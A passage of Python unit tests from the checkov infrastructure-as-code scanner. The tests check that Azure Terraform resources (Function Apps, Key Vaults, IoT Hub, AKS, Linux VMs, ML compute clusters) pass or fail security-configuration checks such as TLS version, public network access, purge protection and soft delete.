self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppHttpVersionLatest.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.FunctionAppHttpVersionLatest import check class TestFunctionAppHttpVersionLatest(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_FunctionAppHttpVersionLatest") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_function_app.pass', 'azurerm_function_app_slot.pass', } failing_resources = { 'azurerm_function_app.fail', 'azurerm_function_app.fail2', 'azurerm_function_app_slot.fail', 'azurerm_function_app_slot.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppMinTLSVersion.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.FunctionAppMinTLSVersion import check from checkov.terraform.runner import Runner class TestFunctionAppMinTLSVersion(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_FunctionAppMinTLSVersion" report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_function_app.pass", "azurerm_function_app.pass2", "azurerm_function_app.pass3", "azurerm_function_app_slot.pass4", "azurerm_linux_function_app.pass5", "azurerm_windows_function_app.pass6", "azurerm_linux_function_app_slot.pass7", "azurerm_windows_function_app_slot.pass8", "azurerm_windows_function_app_slot.pass9", } failing_resources = { "azurerm_function_app.fail", "azurerm_function_app_slot.fail2", "azurerm_linux_function_app.fail3", "azurerm_windows_function_app.fail4", "azurerm_linux_function_app_slot.fail5", "azurerm_windows_function_app_slot.fail6", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppPublicAccessDisabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.FunctionAppPublicAccessDisabled import check from checkov.terraform.runner import Runner class TestFunctionAppPublicAccessDisabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_FunctionAppPublicAccessDisabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_linux_function_app.disabled", "azurerm_linux_function_app_slot.disabled", "azurerm_windows_function_app.disabled", "azurerm_windows_function_app_slot.disabled", } failing_resources = { "azurerm_linux_function_app.default", "azurerm_linux_function_app_slot.default", "azurerm_windows_function_app.default", "azurerm_windows_function_app_slot.default", "azurerm_linux_function_app.enabled", "azurerm_linux_function_app_slot.enabled", "azurerm_windows_function_app.enabled", "azurerm_windows_function_app_slot.enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppsAccessibleOverHttps.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.FunctionAppsAccessibleOverHttps import check from checkov.terraform.runner import Runner class TestFunctionAppsAccessibleOverHttps(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_FunctionAppAccessibleOverHttps" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azurerm_function_app.pass", "azurerm_function_app_slot.pass", "azurerm_linux_function_app.pass", "azurerm_linux_function_app.pass2", "azurerm_linux_function_app_slot.pass", "azurerm_linux_function_app_slot.pass2", } failing_resources = { "azurerm_function_app.fail", "azurerm_function_app.fail2", "azurerm_function_app_slot.fail", "azurerm_function_app_slot.fail2", "azurerm_linux_function_app.fail", "azurerm_linux_function_app.fail2", "azurerm_linux_function_app.fail3", "azurerm_linux_function_app_slot.fail", "azurerm_linux_function_app_slot.fail2", "azurerm_linux_function_app_slot.fail3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) def test_tf_plan(self): test_files_dir = Path(__file__).parent / "example_FunctionAppAccessibleOverHttps_tfplan" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() self.assertEqual(summary["failed"], 1) self.assertEqual(report.failed_checks[0].check_id, 'CKV_AZURE_70') if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_FunctionAppsEnableAuthentication.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.FunctionAppsEnableAuthentication import check from checkov.common.models.enums import CheckResult class TestFunctionAppsEnableAuthentication(unittest.TestCase): def test_failure_missing_authentication_block(self): hcl_res = hcl2.loads(""" resource "azurerm_function_app" "example" { name = "test-azure-functions" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" app_service_plan_id = "azurerm_app_service_plan.example.id" storage_account_name = "azurerm_storage_account.example.name" storage_account_access_key = "azurerm_storage_account.example.primary_access_key" } """) resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_function_app" "example" { name = "test-azure-functions" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" app_service_plan_id = "azurerm_app_service_plan.example.id" storage_account_name = "azurerm_storage_account.example.name" storage_account_access_key = "azurerm_storage_account.example.primary_access_key" auth_settings { enabled = true } } """) resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failed(self): hcl_res = hcl2.loads(""" resource "azurerm_function_app" "example" { name = "test-azure-functions" location = "azurerm_resource_group.example.location" resource_group_name = "azurerm_resource_group.example.name" app_service_plan_id = "azurerm_app_service_plan.example.id" storage_account_name = "azurerm_storage_account.example.name" storage_account_access_key = "azurerm_storage_account.example.primary_access_key" auth_settings { enabled = false } } """) resource_conf = hcl_res['resource'][0]['azurerm_function_app']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_GithubActionsOIDCTrustPolicy.py ================================================ import os import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.GithubActionsOIDCTrustPolicy import check from checkov.terraform.runner import Runner class TestAzureGithubActionsOIDCTrustPolicy(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_GithubActionsOIDCTrustPolicy" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "azuread_application_federated_identity_credential.pass1", "azuread_application_federated_identity_credential.pass2", "azuread_application_federated_identity_credential.pass4", "azuread_application_federated_identity_credential.pass_special_chars", } failing_resources = { "azuread_application_federated_identity_credential.fail1", "azuread_application_federated_identity_credential.fail2", "azuread_application_federated_identity_credential.fail3", "azuread_application_federated_identity_credential.fail5", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_IoTNoPublicNetworkAccess.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.IoTNoPublicNetworkAccess import check from checkov.common.models.enums import CheckResult class TestIoTNoPublicNetworkAccess(unittest.TestCase): def test_success_missing_attribute(self): hcl_res = hcl2.loads(""" resource "azurerm_iothub" "example" { name = "Example-IoTHub" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "S1" capacity = "1" } endpoint { type = "AzureIotHub.StorageContainer" connection_string = azurerm_storage_account.example.primary_blob_connection_string name = "export" batch_frequency_in_seconds = 60 max_chunk_size_in_bytes = 10485760 container_name = azurerm_storage_container.example.name encoding = "Avro" file_name_format = "{iothub}/{partition}_{YYYY}_{MM}_{DD}_{HH}_{mm}" } endpoint { type = "AzureIotHub.EventHub" connection_string = azurerm_eventhub_authorization_rule.example.primary_connection_string name = "export2" } route { name = "export" source = "DeviceMessages" condition = "true" endpoint_names = ["export"] enabled = true } route { name = "export2" source = "DeviceMessages" condition = "true" endpoint_names = ["export2"] enabled = true } enrichment { key = "tenant" value = "$twin.tags.Tenant" endpoint_names = ["export", "export2"] } tags = { purpose = "testing" } } """) resource_conf = hcl_res['resource'][0]['azurerm_iothub']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_iothub" "example" { name = "Example-IoTHub" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "S1" capacity = "1" } endpoint { type = "AzureIotHub.StorageContainer" connection_string = azurerm_storage_account.example.primary_blob_connection_string name = "export" batch_frequency_in_seconds = 60 max_chunk_size_in_bytes = 10485760 container_name = azurerm_storage_container.example.name encoding = "Avro" file_name_format = "{iothub}/{partition}_{YYYY}_{MM}_{DD}_{HH}_{mm}" } endpoint { type = "AzureIotHub.EventHub" connection_string = azurerm_eventhub_authorization_rule.example.primary_connection_string name = "export2" } public_network_access_enabled = true route { name = "export" source = "DeviceMessages" condition = "true" endpoint_names = ["export"] enabled = true } route { name = "export2" source = "DeviceMessages" condition = "true" endpoint_names = ["export2"] enabled = true } enrichment { key = "tenant" value = "$twin.tags.Tenant" endpoint_names = ["export", "export2"] } tags = { purpose = "testing" } } """) resource_conf = hcl_res['resource'][0]['azurerm_iothub']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_iothub" "example" { name = "Example-IoTHub" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location sku { name = "S1" capacity = "1" } endpoint { type = "AzureIotHub.StorageContainer" connection_string = azurerm_storage_account.example.primary_blob_connection_string name = "export" batch_frequency_in_seconds = 60 max_chunk_size_in_bytes = 10485760 container_name = azurerm_storage_container.example.name encoding = "Avro" file_name_format = "{iothub}/{partition}_{YYYY}_{MM}_{DD}_{HH}_{mm}" } endpoint { type = "AzureIotHub.EventHub" connection_string = azurerm_eventhub_authorization_rule.example.primary_connection_string name = "export2" } route { name = "export" source = "DeviceMessages" condition = "true" endpoint_names = ["export"] enabled = true } route { name = "export2" source = "DeviceMessages" condition = "true" endpoint_names = ["export2"] enabled = true } enrichment { key = "tenant" value = "$twin.tags.Tenant" endpoint_names = ["export", "export2"] } public_network_access_enabled = false tags = { purpose = "testing" } } """) resource_conf = hcl_res['resource'][0]['azurerm_iothub']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyBackedByHSM.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.KeyBackedByHSM import check from checkov.common.models.enums import CheckResult class TestKeyBackedByHSM(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_key" "generated" { name = "generated-certificate" key_vault_id = azurerm_key_vault.example.id key_type = "RSA" key_size = 2048 key_opts = [ "decrypt", "encrypt", "sign", "unwrapKey", "verify", "wrapKey", ] } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success1(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_key" "generated" { name = "generated-certificate" key_vault_id = azurerm_key_vault.example.id key_type = "EC-HSM" key_size = 2048 key_opts = [ "decrypt", "encrypt", "sign", "unwrapKey", "verify", "wrapKey", ] expiration_date = "2020-12-30T20:00:00Z" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_key" "generated" { name = "generated-certificate" key_vault_id = azurerm_key_vault.example.id key_type = "RSA-HSM" key_size = 2048 key_opts = [ "decrypt", "encrypt", "sign", "unwrapKey", "verify", "wrapKey", ] expiration_date = "2020-12-30T20:00:00Z" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyExpirationDate.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.KeyExpirationDate import check from checkov.common.models.enums import CheckResult class TestKeyExpirationDate(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_key" "generated" { name = "generated-certificate" key_vault_id = azurerm_key_vault.example.id key_type = "RSA" key_size = 2048 key_opts = [ "decrypt", "encrypt", "sign", "unwrapKey", "verify", "wrapKey", ] } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault_key" "generated" { name = "generated-certificate" key_vault_id = azurerm_key_vault.example.id key_type = "RSA" key_size = 2048 key_opts = [ "decrypt", "encrypt", "sign", "unwrapKey", "verify", "wrapKey", ] expiration_date = "2020-12-30T20:00:00Z" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault_key']['generated'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyVaultDisablesPublicNetworkAccess.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.KeyVaultDisablesPublicNetworkAccess import check class TestKeyVaultDisablesPublicNetworkAccess(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_KeyVaultDisablesPublicNetworkAccess") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_key_vault.pass1', 'azurerm_key_vault.pass2', 'azurerm_key_vault.pass3', 'azurerm_key_vault.pass4', 'azurerm_key_vault.pass5' } failing_resources = { 'azurerm_key_vault.fail1', 'azurerm_key_vault.fail2', 'azurerm_key_vault.fail3', 'azurerm_key_vault.fail4', 'azurerm_key_vault.fail5' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyVaultEnablesFirewallRulesSettings.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.KeyVaultEnablesFirewallRulesSettings import check from checkov.common.models.enums import CheckResult class TestKeyVaultEnablesFirewallRulesSettings(unittest.TestCase): def test_failure_missing(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } network_acls { default_action = "Deny" } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_fail_allow(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } network_acls { default_action = "Allow" } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyVaultEnablesPurgeProtection.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.KeyVaultEnablesPurgeProtection import check from checkov.common.models.enums import CheckResult class TestKeyVaultEnablesPurgeProtection(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = true sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyVaultEnablesSoftDelete.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.KeyVaultEnablesSoftDelete import check from checkov.common.models.enums import CheckResult class TestKeyVaultEnablesSoftDelete(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false soft_delete_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "examplekeyvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_retention_days = 7 purge_protection_enabled = false soft_delete_enabled = true sku_name = "standard" access_policy { tenant_id = data.azurerm_client_config.current.tenant_id object_id = data.azurerm_client_config.current.object_id key_permissions = [ "Get", ] secret_permissions = [ "Get", ] storage_permissions = [ "Get", ] } } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KeyVaultRecoveryEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.KeyvaultRecoveryEnabled import check from checkov.common.models.enums import CheckResult class TestKeyVaultRecoveryEnabled(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "testvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id sku_name = "standard" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "testvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_enabled = false sku_name = "standard" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "testvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id soft_delete_enabled = true purge_protection_enabled = true sku_name = "standard" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) def test_success2(self): hcl_res = hcl2.loads(""" resource "azurerm_key_vault" "example" { name = "testvault" location = azurerm_resource_group.example.location resource_group_name = azurerm_resource_group.example.name enabled_for_disk_encryption = true tenant_id = data.azurerm_client_config.current.tenant_id purge_protection_enabled = true sku_name = "standard" } """) resource_conf = hcl_res['resource'][0]['azurerm_key_vault']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_KubernetesClusterHTTPApplicationRouting.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.KubernetesClusterHTTPApplicationRouting import check from checkov.terraform.runner import Runner class TestKubernetesClusterHTTPApplicationRouting(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_KubernetesClusterHTTPApplicationRouting" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_kubernetes_cluster.pass_false", "azurerm_kubernetes_cluster.pass_missing", } failing_resources = { "azurerm_kubernetes_cluster.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_LinuxVMUsesSSH.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.LinuxVMUsesSSH import check class TestLinuxVMUsesSSH(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_LinuxVMUsesSSH") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_linux_virtual_machine_scale_set.pass', 'azurerm_linux_virtual_machine.pass' } failing_resources = { 'azurerm_linux_virtual_machine_scale_set.fail', 'azurerm_linux_virtual_machine.fail' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MLCCLADisabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.MLCCLADisabled import check class TestMLCCLADisabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_MLCCLADisabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_machine_learning_compute_cluster.ckv_unittest_pass' } failing_resources = { 'azurerm_machine_learning_compute_cluster.ckv_unittest_fail', 'azurerm_machine_learning_compute_cluster.ckv_unittest_fail_2' } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_MLComputeClusterMinNodes.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from 